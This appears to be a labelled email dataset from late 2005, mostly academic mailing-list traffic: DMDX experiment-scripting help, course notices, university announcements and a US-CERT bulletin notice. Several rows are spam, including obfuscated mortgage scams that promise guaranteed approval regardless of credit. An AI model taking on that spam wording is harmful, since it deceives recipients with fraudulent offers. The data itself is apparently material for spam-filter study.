,security-bulletins@us-cert.gov,"Wed, 23 Nov 2005 13:40:25 -0500","US-CERT Cyber Security Bulletin SB05-327 -- Summary of Security Items from November 17 through November 23, 2005 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from November 17 through November 23, 2005 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from November 17 through November 23, 2005, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ4S3CH0pj593lg50AQL+iAgA0sHaNXhTA0ay+CL/sfrNJUwarefZq69w NpU3MRFr37Oy7ehYphbP7CihCrK4QNlBD50gkhkDTMunFxat210oFfbYQJ2bA0tG kOOSfJs/vX1cHmn60EyJmRVyexuLvbdWiQYI8Vb7mnfB596wCn3fjqdnDh0Qkuqx V4x+Q9ExkyU31XyES4FelTNhM+uSR0AX4PgH/zq0YsLHQbBETZySCVyttQHXZVqb ySakiCHRELBTU1zQTinAy/X9mYKzwilDQelwmrw4+RNGZXo9MAyd0gN1Gnvlcnqr waBWsI0qjlXrMtyiAhCTIery0cYjUNFUl9khKqoTJibCQn71XKbyww== =BF3i -----END PGP SIGNATURE-----",0,1 """Kartik K. Agaram"" ",cs382m@lists.cc.utexas.edu,"Wed, 23 Nov 2005 18:14:15 -0600",[CS382M:45] update to the TRIPS documentation,"http://www.cs.utexas.edu/users/skeckler/cs382m/handouts/perf-manual The documentation had incorrectly hinted that it is possible to run tsim_proc with perfect branch and/or dependence prediction. It turns out this is not possible. Kartik ",0,1 orangex936@hotmail.com,valeria@cs.utexas.edu,"Thu, 24 Nov 2005 03:27:30 -0200",[ �� �� ] �� �� �� �� �� �� �� �� << �� �� >> �� �� �� �� ��!!! tfdv,bltssqutqpaogpimi,1,1 Lucy Series ,DMDX@psy1.psych.arizona.edu,"Thu, 24 Nov 2005 16:10:23 +0000",[DMDX] Cheap laptops for running DMDX?,"I need to buy some cheap laptops which are good for running DMDX, playing .wav files and recording speech. Can anyone recommend a good model? Thanks. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 24 Nov 2005 09:24:26 -0700",[DMDX] Re: Cheap laptops for running DMDX?,"At 04:10 PM 11/24/2005 +0000, you wrote: >I need to buy some cheap laptops which are good for running DMDX, >playing .wav files and recording speech. Can anyone recommend a good model? Cheap laptops and running DMDX recording speech would be mutually exclusive terms. If you want any chance of recording speech in DMDX on a laptop you are going to have to buy a gaming machine, one that is sold as being good for playing games on. Then it MIGHT have a decent audio device that MIGHT have drivers that function nicely that you MIGHT be able to get working with DMDX. Dell Inspirons are my recommendation. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Real Users never know what they want, but they always know when your program doesn't deliver it. ",0,0 Chris Letts ,DMDX@psy1.psych.arizona.edu,"Thu, 24 Nov 2005 16:27:20 -0000",[DMDX] RE: Re: Cheap laptops for running DMDX?,"Creative do a very good USB external sound card (Audigy NX) - I've not tested with DMDX but I don't see why not - however in the UK it costs £100, so it makes the laptop not so cheap ! Chris Letts, Technical Site Manager, SECLS Speech & Language Section. >-----Original Message----- >From: DMDX-owner@psy1.psych.arizona.edu >[mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of j.c.f. >Sent: 24 November 2005 16:24 >To: DMDX@psy1.psych.arizona.edu >Subject: [DMDX] Re: Cheap laptops for running DMDX? > >At 04:10 PM 11/24/2005 +0000, you wrote: >>I need to buy some cheap laptops which are good for running DMDX, >>playing .wav files and recording speech. Can anyone >recommend a good model? > > > Cheap laptops and running DMDX recording speech would be >mutually exclusive terms. If you want any chance of recording >speech in DMDX on a laptop you are going to have to buy a >gaming machine, one that is sold as being good for playing >games on. Then it MIGHT have a decent audio device that MIGHT >have drivers that function nicely that you MIGHT be able to >get working with DMDX. Dell Inspirons are my recommendation. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > >Real Users never know what they want, but they always know >when your program doesn't deliver it. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > ",0,1 Mariusz Tsang ,DMDX@psy1.psych.arizona.edu,"Thu, 24 Nov 2005 13:43:07 -0700",Re: ioxyl news,"Dea j r Home Ow q ne p r , Your c x redi i t doesn't matter to us ! If you OW p N real e k st y at r e and want I x MME l DIA g TE ca z sh to sp b en a d ANY way you like, or simply wish to LO x WER your monthly p s ayme q nts by a third or more, here are the de q als we have T k ODA l Y : $ 4 r 88 , 000 at a 3 , 6 d 7% f u ixed - rat d e $ 3 o 72 , 000 at a 3 , y 90% va z riab p le - rat d e $ 49 z 2 , 000 at a 3 j , 21% inte d res e t - only $ 2 j 48 , 000 at a 3 , x 36% fi c xed - rat a e $ 19 c 8 , 000 at a 3 , x 55% var r iable - ra b te H l urry, when these deaI o s are gone, they are gone ! Don't worry about app q rova r l, your cr d edi x t will not dis o qual z ify you ! Vi t si o t our l site Sincerely, Mariusz Tsang Ap i pr h oval Manager",1,1 Dale W Adams ,devfinance@ag.ohio-state.edu,"Thu, 24 Nov 2005 19:27:48 -0700","World Bank, Agriculture, Perspective","In an earlier dfn posting I questioned the ability of the World Bank to do something positive with agriculture in Africa in the future. I expressed two reservations: the bank's experience with agricultural development activities in Africa has been south of dismal and it has few staff who are agricultural specialists. I should have mentioned an even more important hurdle that faces the Bank. A variety of explanations have been given for the poor performance of African agriculture: colonial sins, agricultural policies in developed countries, and donors directing too few funds to the region, especially for rural development projects. I'd like to suggest far more important impediments to previous agricultural performance: Nkrumah, Nassar, Houphouet-Boigny, Nyerere, Mobutu, Rawlings, Idi Amin, Gaddafi, Bokassa, Mengistum, Kaunda, Moi, Eyedema, Taylor, Omar al-Bashir, Mugabe, Toure, Karume, Bokassa, Nguema, Abacha, and a long list of other African generals and political leaders. Many African leaders have been inefficient, corrupt, and/or enforced policies that were highly damaging to agriculture. Donors must work through local governments, even if they are kleptocracies. Can the World Bank or any other donor do much in agriculture in Africa before this governance problem in resolved? Where do you start to work with a dysfunctional political system such as the one in Zimbabwe? ........jane ",0,0 Roswitha Minns ,vra_ne@wheatonma.edu,"Fri, 25 Nov 2005 05:11:14 -0400",Re: eekig news,"Dea e r Home O c wne o r , Your c f redi u t doesn't matter to us ! If you O w WN real e g st h at a e and want I c MMED o IAT f E cas j h to sp i en e d ANY way you like, or simply wish to LO o WER your monthly pa x ymen b ts by a third or more, here are the dea j ls we have T n OD h AY : $ 4 c 88 , 000 at a 3 , j 67% fi b xed - ra p te $ 37 m 2 , 000 at a 3 , 9 q 0% va o ria d ble - ra w te $ 4 h 92 , 000 at a 3 l , 21% in n tere y st - only $ 24 s 8 , 000 at a 3 , 3 n 6% fi m xed - rat e e $ 1 y 98 , 000 at a 3 , o 55% var g iable - rat r e Hurr e y, when these d v eaIs are gone, they are gone ! Don't worry about ap o pro n val, your cr u edi w t will not d r isqu i alify you ! Vi k si v t our si q te Sincerely, Roswitha Minns Ap t prov r al Manager",1,1 Steve Keckler ,cs382m@lists.cc.utexas.edu,"Sat, 26 Nov 2005 11:06:48 -0600","[CS382M:46] Project Reports, first draft","CS382m-ers, I have some additional guidance regarding the first draft of the your final project reports that are due for peer review on Monday Nov. 28. Below are the review pairings - I am expecting each of you to bring a hardcopy of your draft to class on Monday to exchange with your review partner. Your review partner is obligated to return it to you no later than 2pm on Friday Dec. 2. You will have to arrange with one another on how to exchange comments. Comments can be made directly on the draft and/or on a separate sheet. Regardless, when you submit your final report, I am expecting to also receive a copy of your draft report and the comments from your partner. If you do a poor job on reviewing and providing comments to your partner, it will reflect poorly on your own final project grade (so please do a good job). ",0,0 Steve Keckler ,cs382m@lists.cc.utexas.edu,"Sat, 26 Nov 2005 14:57:33 -0600",[CS382M:47] pairings,"CS382m-ers, Some of you had a hard time reading the pairings - here it is again in plain text. Gebhart Krishnan Wong Halcrow Coons Robatmili Isen Srinivasan Maher Angepat Lee Chen Spirodonov Joly Diamond Ziotopoulos Bianchi Waheed Chan R. Gupta A. Gupta Resnick Bond Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 Frankie ,Petruscha ,"Sat, 26 Nov 2005 15:58:24 -0600",Heya,"Good evening Petruscha, You still trying to please ur wife? u still hearing complaints about it in the bedroom? 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For example, i would like the inter-trial interval would be varied randomly from 0.5s to 1.5s through out the experiement. Thanks Hui Yui Chi ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 28 Nov 2005 08:48:44 -0700",[DMDX] Re: randomly vary inter-trial interval,"At 06:08 PM 11/28/2005 +0800, you wrote: >Hi, > >How can I randomly vary the inter-trial interval? For example, i would >like the inter-trial interval would be varied randomly from 0.5s to >1.5s through out the experiement. You'd have to a frame at the end of every item that has a duration that is specified by a counter loaded with with <%ctr 1>. +1 * ""target"" / <%ctr 1> /; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Real Users never know what they want, but they always know when your program doesn't deliver it.",0,0 tfryan@uoregon.edu,vmayer@uoregon.edu,"Mon, 28 Nov 2005 10:22:25 -0800",Important UO Health Center Information," IMPORTANT INFORMATION FOR ALL STUDENT USERS OF THE UNIVERSITY HEALTH CENTER FROM: The University Health Center RE: Winter Break Health Center Hours The Health Center will have significantly shortened days of operation over the winter break (Dec. 10 through Jan. 8) due to our ongoing construction. If you are receiving or plan to receive health care services from the Health Center please see our winter break clinic hours below. If you obtain medications from the Health Center please check to be sure that you have enough medication to last through the entire winter break. If you need a refill on your medication(s) please contact the University Health Center Pharmacy at 346-4454 or on-line at http://healthcenter.uoregon.edu/pharmacy/refillform.htm before Friday, Dec. 9 to allow time for processing of your refill request. ACADEMIC YEAR CLINIC HOURS THROUGH FRIDAY, DEC. 9: Monday, Wednesday, Thursday, Friday: 8:00 a.m. - 6:00 p.m. Tuesday: 9:00 a.m. - 6:00 p.m. Saturday/Sunday: 10:00 a.m. - 2:00 p.m. WINTER BREAK HOURS EFFECTIVE DEC. 10 - DEC. 12: Saturday, Dec. 10: 10:00 a.m. - 2:00 p.m. Sunday, Dec. 11: 10:00 a.m. - 2:00 p.m. Monday, Dec. 12: 10:00 a.m. - 4:30 p.m. Tuesday, Dec. 13: CLOSED UNTIL JAN. 9, 2006 THE HEALTH CENTER WILL BE CLOSED FROM TUESDAY DEC. 13, 2005 THROUGH SUNDAY JAN. 8, 2006. Call the Health Center at 346-2770 to access our nurse advice line if you need medical advice or care while the Health Center is closed. If you need additional care the nurse can direct you to available health care services in the Eugene community. Please remember that you are responsible for the costs of all services you receive outside the Health Center. RESUME ACADEMIC YEAR CLINIC HOURS MONDAY JAN. 9, 2006: Monday, Wednesday, Thursday, Friday: 8:00 a.m. - 6:00 p.m. Tuesday: 9:00 a.m. - 6:00 p.m. Saturday/Sunday: 10:00 a.m. - 2:00 p.m. ",0,1 minson@uoregon.edu,minson@uoregon.edu,"Mon, 28 Nov 2005 13:15:32 -0800",NO FOOD TONIGHT!,"Hi everyone, I regret to inform you that I have been shut down in terms of supplying food for tonight. The University will not allow us to order food from off-campus, and we are not allowed to have food in the classrooms of Lillis. So...make sure you come with a full belly...and I am really sorry that this is the case. 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Yet, i am still not very understand. For the command like this:set c1=30+random(60)> <%ctr 1> What is the meaning of each number in the command? Thanks 2005/11/28, j.c.f. : > At 06:08 PM 11/28/2005 +0800, you wrote: > >Hi, > > > >How can I randomly vary the inter-trial interval? For example, i would > >like the inter-trial interval would be varied randomly from 0.5s to > >1.5s through out the experiement. > > You'd have to a frame at the end of every item that has a duration that > is specified by a counter loaded with with <%ctr 1>. > > +1 * ""target"" / <%ctr 1> /; > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Real Users never know what they want, but they always know when your > program doesn't deliver it. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. 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Chair: Please distribute this Faculty Search Announcement to interested faculty in your department and anyone else who might be interested. Screening of applications begins 13 December. Regards, Tom Johnson - Surficial Geology - University of Illinois at Urbana-Champaign The Department of Geology invites applications for a full-time tenure-track assistant professor appointment in the broadly defined area of surficial geology. Specialties of interest include, but are not limited to: geomorphology, neotectonics, Quaternary geology, and paleoclimatology. The successful applicant will have an affiliation with the newly formed interdisciplinary Center for Water as a Complex Environmental System at the University of Illinois (http://cwaces.geog.uiuc.edu/). CWACES focuses on fundamental research questions related to water's role in the Earth system. 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The University of Illinois is an Affirmative Action / Equal Opportunity Employer. -- ****************************************************************** Thomas M. Johnson Associate Professor Dept. of Geology, MC-102 245 Natural History Bldg. 1301 W. Green St. University of Illinois Urbana, IL 61801 Phone (217) 244-2002 FAX (217) 244-4996 http://www.geology.uiuc.edu/~tmjohnso/index.html ******************************************************************** ",0,1 minson@uoregon.edu,minson@uoregon.edu,"Tue, 29 Nov 2005 12:58:11 -0800",Diving Notes,"Hi All! The final set of notes (for diving) has now been posted under Course Documents in the folder where all of my other notes are placed. We will cover these notes on Friday of this week. John will finish his lectures on Hypoxia on Wednesday (tomorrow). Remember....another riviting session of late-night presentations tomorrow!",0,0 Lauren Brownrigg ,duckvoice@lists.uoregon.edu,"Tue, 29 Nov 2005 14:53:46 -0800",duckvoice: TURN IN YOUR TEXTBOOKS!!!!,"Athletes receiving text books as part of their athletic scholarship must return books during Finals Week (December 5-December 9). Books can be returned between the hours of 8 AM and 5 PM to the Compliance Office (203 Casanova Center). Note: this is a new location from previous returns-books are not returned to Mo Center class room any longer! If your books are not returned and you do not contact John Lucier (541) 346-4499 by December 9th @ 5 PM to make other arrangements you will be charged $134! Thanks for making our Text Book Program successful! Also: students needing the same books for next term should still make contact with John Lucier to avoid being charged in error. ",0,0 Karen Nelson ,duckvoice@lists.uoregon.edu,"Tue, 29 Nov 2005 15:30:42 -0800",duckvoice: Fwd: NFL summer internships,">From: ""Pat Ferris"" >To: >Subject: NFL summer internships >Date: Wed, 23 Nov 2005 13:55:35 -0800 >X-Security: MIME headers sanitized on mserv1 > See http://www.impsec.org/email-tools/sanitizer-intro.html > for details. $Revision: 1.140 $Date: 2004-02-11 20:47:43-08 >X-Security: The postmaster has not enabled quarantine of poisoned messages. >X-Mailer: Microsoft Office Outlook, Build 11.0.6353 >Thread-index: AcXweKHgAk0tlTq0SwyYYfqjzxa2BQ== >X-Virus-Scanned: ClamAV 0.87.1/1188/Wed Nov 23 10:15:57 2005 on mserv1 >X-Virus-Status: Clean > >--> > >Hi Karen, > >Heres a notice just in case it didnt get to you. > > > >Pat Ferris, Employment Services Specialist > >University of Oregon Career Center > >PO Box 3257 > >Eugene, OR 97403-0257 > >Phone: 541.346.3214 Fax 541.346.6038 > >http://uocareer.uoregon.edu > > > >Summer Internships > >Position reference ID #542537 > >Position posted until: 12/23/2005 > > >Organization > >14e383d.gif > >National Football League > > >Qualifications > >14e384d.gif > > >Visit the NFL Career Center website link on this page or the ""NFL Summer >Internships"" link on NFL.com > > >Position description > >14e385d.gif > > >Visit the NFL Career Center website link on this page or the ""NFL Summer >Internships"" link on NFL.com > > >Additional information > >14e386c.gif > >Locations : > >New York,NY, United States > >Percentage of time traveling : > >No Travel > >Position starts : > >June 5, 2006 > >Hours : > >40 > ># of openings available : > >30 > >Salary range : > >$500 per week > >Duration : > >Nine weeks > >Work Types : > >Internship, Paid, Summer > > >Contact information > >14e387c.gif > > > > >How to apply > > > Karen Nelson Assistant Athletic Director - Student-Services Director of SOAR /CHAMPS Life Skills (541) 346-6103 FAX (541)346-6458 tjnelson@uoregon.edu",0,1 Normand Arsenault ,devfinance@ag.ohio-state.edu,"Tue, 29 Nov 2005 19:17:12 -0500",Cultivating Poverty in India," For India, importing food is like importing joblessness Can India hold its own against the developed world? http://www.financialexpress.com/fe_full_story.php?content_id=110053 ",0,1 Jillian Lee ,DMDX@psy1.psych.arizona.edu,"Tue, 29 Nov 2005 20:32:50 -0600",[DMDX] Recording reaction times & having the picture clear after voice response,"Hello, I am trying to get my program to display a picture until it detects a vocal response. Then, the screen should clear and move on. Or, if there is no response after 2 seconds, it should clear and move on. Also, it should record the reaction time from when the picture is displayed to when the vocal response is detected. As it stands now, I can only get it to display the picture until it detects a vocal response (but the reaction times all come out as 1.00 in the azk file) OR I can get it to record the reaction times in ms but it just displays the picture for 2 seconds no matter what. Here is some of the script where it displays the picture until it detects voice, but the reaction times all read 1.00 in the azk: +1111 g""+2"" <% 75> / * ""picture1""; 0 /c; +1112 g""+2"" <% 75> / * ""picture2""; 0 /c; Here is some of the script where it displays the picture for 2 seconds irrespective of when it picks up the vocal response but it records different reaction times in ms in the azk file: +1111 g""+2"" <% 75> / * g""picture1"" / !; 0 /c; +1112 g""+2"" <% 75> / * g""picture2"" / !; 0 /c; Can someone please help me? Thanks, Jillian Lee",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 29 Nov 2005 20:58:25 -0700",[DMDX] Re: Recording reaction times & having the picture clear after voice response,"At 08:32 PM 11/29/2005 -0600, you wrote: >Hello, > >I am trying to get my program to display a picture until it detects a >vocal response. Then, the screen should clear and move on. Or, if >there is no response after 2 seconds, it should clear and move on. >Also, it should record the reaction time from when the picture is >displayed to when the vocal response is detected. > >As it stands now, I can only get it to display the picture until it >detects a vocal response (but the reaction times all come out as 1.00 >in the azk file) OR I can get it to record the reaction times in ms >but it just displays the picture for 2 seconds no matter what. That is exactly what does. You probably don't want it. >Here is some of the script where it displays the picture until it >detects voice, but the reaction times all read 1.00 in the azk: > > keyboard> 1024,768,768,16,75> > >+1111 g""+2"" <% 75> / * ""picture1""; >0 /c; >+1112 g""+2"" <% 75> / * ""picture2""; >0 /c; > >Here is some of the script where it displays the picture for 2 seconds >irrespective of when it picks up the vocal response but it records >different reaction times in ms in the azk file: > >2000> 1024,768,768,16,75> > >+1111 g""+2"" <% 75> / * g""picture1"" / !; >0 /c; >+1112 g""+2"" <% 75> / * g""picture2"" / !; >0 /c; > >Can someone please help me? > >Thanks, >Jillian Lee > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Real Users never know what they want, but they always know when your program doesn't deliver it.",0,1 Matthew Finkbeiner ,DMDX@psy1.psych.arizona.edu,"Tue, 29 Nov 2005 23:08:55 -0500",[DMDX] RE: Recording reaction times & having the picture clear after voice response,"> > I am trying to get my program to display a picture until it > detects a vocal response. Then, the screen should clear and > move on. Or, if there is no response after 2 seconds, it > should clear and move on. > Also, it should record the reaction time from when the > picture is displayed to when the vocal response is detected. > > As it stands now, I can only get it to display the picture > until it detects a vocal response (but the reaction times all > come out as 1.00 in the azk file) OR I can get it to record > the reaction times in ms but it just displays the picture for > 2 seconds no matter what. > > Here is some of the script where it displays the picture > until it detects voice, but the reaction times all read 1.00 > in the azk: replace with and with . other than that, it looks fine. > keyboard> 1024,768,768,16,75> > > +1111 g""+2"" <% 75> / * ""picture1""; > 0 /c; > +1112 g""+2"" <% 75> / * ""picture2""; > 0 /c; >",0,0 John Curtin ,DMDX@psy1.psych.arizona.edu,"Tue, 29 Nov 2005 22:45:26 -0600",[DMDX] Re: RE: Recording reaction times & having the picture clear after voice response,"From your description, it appears that you also want the image to be response contingent. See the two Visual lexical decision task sample item-files (and timing notes) on this webpage http://dionysus.psych.wisc.edu/methods/DMDX/SampleScripts/SampleScripts.htm The first item file is not response contingent (i.e., the text is up for 30 ticks every trial regardless of response speed). The second item file uses and to make the text remain on the screen until (but only until) the participant responds J On 11/29/05, Matthew Finkbeiner wrote: > > > > > I am trying to get my program to display a picture until it > > detects a vocal response. Then, the screen should clear and > > move on. Or, if there is no response after 2 seconds, it > > should clear and move on. > > Also, it should record the reaction time from when the > > picture is displayed to when the vocal response is detected. > > > > As it stands now, I can only get it to display the picture > > until it detects a vocal response (but the reaction times all > > come out as 1.00 in the azk file) OR I can get it to record > > the reaction times in ms but it just displays the picture for > > 2 seconds no matter what. > > > > Here is some of the script where it displays the picture > > until it detects voice, but the reaction times all read 1.00 > > in the azk: > > replace with and with recordvocal 500>. other than that, it looks fine. > > > > keyboard> > 1024,768,768,16,75> > > > > +1111 g""+2"" <% 75> / * ""picture1""; > > 0 /c; > > +1112 g""+2"" <% 75> / * ""picture2""; > > 0 /c; > > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > -- John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029",0,1 """F.-Xavier ALARIO"" ",DMDX@psy1.psych.arizona.edu,"Wed, 30 Nov 2005 07:04:12 +0100",[DMDX] Re: Recording reaction times & having the picture clear after voice response,"hello I do exactly what you need with the following script (you may need to play around with the record vocal parameters) Incidentaly: if someone knows how to get yet another picture to appear on the screen when the response is detected (instead of blanck screenào I would be interested) xavier +99999 / ""vide.bmp"" / ""fixation.bmp"" / *""F3-PL-BROOM.bmp"" ; +99999 / ""vide.bmp"" / ""fixation.bmp"" / *""F2-SG-STRAWBER.bmp"" ; > Hello, > > I am trying to get my program to display a picture until it detects a > vocal response. Then, the screen should clear and move on. Or, if > there is no response after 2 seconds, it should clear and move on. > Also, it should record the reaction time from when the picture is > displayed to when the vocal response is detected. > > As it stands now, I can only get it to display the picture until it > detects a vocal response (but the reaction times all come out as 1.00 > in the azk file) OR I can get it to record the reaction times in ms > but it just displays the picture for 2 seconds no matter what. > > Here is some of the script where it displays the picture until it > detects voice, but the reaction times all read 1.00 in the azk: > > keyboard> 1024,768,768,16,75> > > +1111 g""+2"" <% 75> / * ""picture1""; > 0 /c; > +1112 g""+2"" <% 75> / * ""picture2""; > 0 /c; > > Here is some of the script where it displays the picture for 2 seconds > irrespective of when it picks up the vocal response but it records > different reaction times in ms in the azk file: > > 2000> 1024,768,768,16,75> > > +1111 g""+2"" <% 75> / * g""picture1"" / !; > 0 /c; > +1112 g""+2"" <% 75> / * g""picture2"" / !; > 0 /c; > > Can someone please help me? > > Thanks, > Jillian Lee > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > > F.-Xavier ALARIO Laboratoire de Psychologie Cognitive CNRS & Université de Provence 3, place Victor Hugo - Case 66 13003 Marseille, France +33 4 91 10 67 91 alario@up.univ-mrs.fr www.up.univ-mrs.fr/~wlpc/pagesperso/alario/",0,1 Chris Letts ,DMDX@psy1.psych.arizona.edu,"Wed, 30 Nov 2005 10:04:00 -0000",[DMDX] RE: Re: scripts,"It's not that wonderful ! The main point of it is that the technical person (who knows the dmdx commands) constructs the outline template, then the experimenter only needs to copy the lines, and fill in the details without needing to know dmdx itself. example attached Chris Letts, Technical Site Manager, SECLS Speech & Language Section. ________________________________ From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Dianne Patterson Sent: 09 November 2005 17:06 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: scripts Sounds terrific, Chris! Are you willing to make your Word template available to the struggling masses? Thanks, Dianne On 11/9/05, Chris Letts wrote: What amazed me, when I started with DMDX not too long ago, was that nobody had produced an easy way for a non-technical user to create scripts, or modify basic scripts for their own purposes (please let me know if I'm wrong !). What I've ended up doing is creating a document template in WORD, using tables, which set out all the basic commands in 'greyed out' columns, leaving all the bits the user needs to fill in (e.g. text, file names, etc) in white columns. I then change all the commands as necessary before handing over to the user to do the mundane stuff ! P.S. of course once the template is produced, you need to use WORDPAD to do the editing ! Chris Letts, Newcastle University. -- Dianne Patterson, Ph.D. Cognition and NeuroImaging labs University of Arizona 626-4571 (Office)",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 30 Nov 2005 08:14:31 -0700",[DMDX] Re: Recording reaction times & having the picture clear after voice response,"At 07:04 AM 11/30/2005 +0100, you wrote: >Incidentaly: if someone knows how to get yet another picture to appear on >the screen when the response is detected (instead of blanck screenào I >would be interested) You can use the custom feedback examples I've given any number of times, also in the branching help I think. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Real Users never know what they want, but they always know when your program doesn't deliver it. ",0,0 Matthew Finkbeiner ,DMDX@psy1.psych.arizona.edu,"Wed, 30 Nov 2005 12:26:14 -0500",[DMDX] Re: Recording reaction times & having the picture clear after voice response,"Yep, I've used the custom feedback to present ""correct"" and ""wrong"" in Chinese (characters were bmp files) -- same could certainly be done with other pics. Here's a snippet: 10 d4 c; 0 d4 %37 g""correct"" / c; 20 d4 c; 0 d4 %37 g""wrong” / c; 30 d4 “?????” / c; -32805 “###########"" / %4 ""snake"" / *g""walk"" c ; j.c.f. wrote: > At 07:04 AM 11/30/2005 +0100, you wrote: > >> Incidentaly: if someone knows how to get yet another picture to appear on >> the screen when the response is detected (instead of blanck screenào I >> would be interested) > > > You can use the custom feedback examples I've given any number of > times, also in the branching help I think. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Real Users never know what they want, but they always know when your > program doesn't deliver it. > > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. 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Here is the extract of part of the .rtf file: -01 ""fixation"" / ""L_ArrowPrime"" / ""Mask"" / * ""L_ArrowTarget"" /; -02 ""fixation"" / ""L_ArrowPrime"" / ""Mask"" / * ""L_ArrowTarget"" /; +03 ""fixation"" / ""R_ArrowPrime"" / ""Mask"" / * ""R_ArrowTarget"" /; +04 ""fixation"" / ""R_ArrowPrime"" / ""Mask"" / * ""R_ArrowTarget"" /; -05 ""fixation"" / ""R_ArrowPrime"" / ""Mask"" / * ""R_ArrowTarget""/; And the error message: ! Display error at msec 8462.76, tick 714 in item 2, frame ""fixation"" ! moved into video memory 78 ticks late ! (previous frame's duration will have been longer) Any help will be appreciated! Thanks! Vannessa This message has been checked for viruses but the contents of an attachment may still contain software viruses, which could damage your computer system: you are advised to perform your own checks. Email communications with the University of Nottingham may be monitored as permitted by UK legislation.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 05 Dec 2005 07:47:45 -0700",[DMDX] Re: Display error,"You probably have a delay parameter (D or ) in your parameter line that's about one and a half seconds too fast. My guess is that it takes your computer a long time to read those bitmaps so the fixation is always late. You might want to look at the documentation as you would appear to be using the same bitmaps over again and if is used correctly they will always be in memory and you can probably keep your low delay. At 02:14 PM 12/5/2005 +0000, you wrote: >Dear all, > > I'm working on a masked priming experiment about psycholinguistic. When > using DMDX to display .bmp images (256 colour 8 bits), there's always > display error about the timing issue. > >Here is the extract of part of the .rtf file: >-01 ""fixation"" / ""L_ArrowPrime"" / >""Mask"" / * ""L_ArrowTarget"" /; >-02 ""fixation"" / ""L_ArrowPrime"" / >""Mask"" / * ""L_ArrowTarget"" /; >+03 ""fixation"" / ""R_ArrowPrime"" / >""Mask"" / * ""R_ArrowTarget"" /; >+04 ""fixation"" / ""R_ArrowPrime"" / >""Mask"" / * ""R_ArrowTarget"" /; >-05 ""fixation"" / ""R_ArrowPrime"" / >""Mask"" / * ""R_ArrowTarget""/; > >And the error message: >! Display error at msec 8462.76, tick 714 in item 2, frame ""fixation"" >! moved into video memory 78 ticks late >! (previous frame's duration will have been longer) > >Any help will be appreciated! Thanks! > >Vannessa > >This message has been checked for viruses but the contents of an attachment >may still contain software viruses, which could damage your computer system: >you are advised to perform your own checks. Email communications with the >University of Nottingham may be monitored as permitted by UK legislation. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Real Users never know what they want, but they always know when your program doesn't deliver it.",0,1 Michael Chuang ,"""Mark K. Kim"" ","Mon, 05 Dec 2005 13:12:59 -0800",Data Attributes,"Sorry it took so long but here are some of the data attributes...you can use these for the first version. If we need to remove or change these, we'll let you know. You can always add more if you think of some (since they will just be null in the database if we don't use them), but just make sure to have these attributes listed in the ARB documentation. *Biography* Title Privilege Last Name First Name Middle Name Birthday USC or Employee ID Number Email *Athletic Info* Sport Player # Height Weight Gender Helmet Size Hat Size T-Shirt Size Polo Size Rain Size Sock Size Shoe Size Tights Size Jock Size Shorts Size Pants Size Sweats Size Practice Jersey Size Game Jersey Size Glove Size Slack - Waist Size 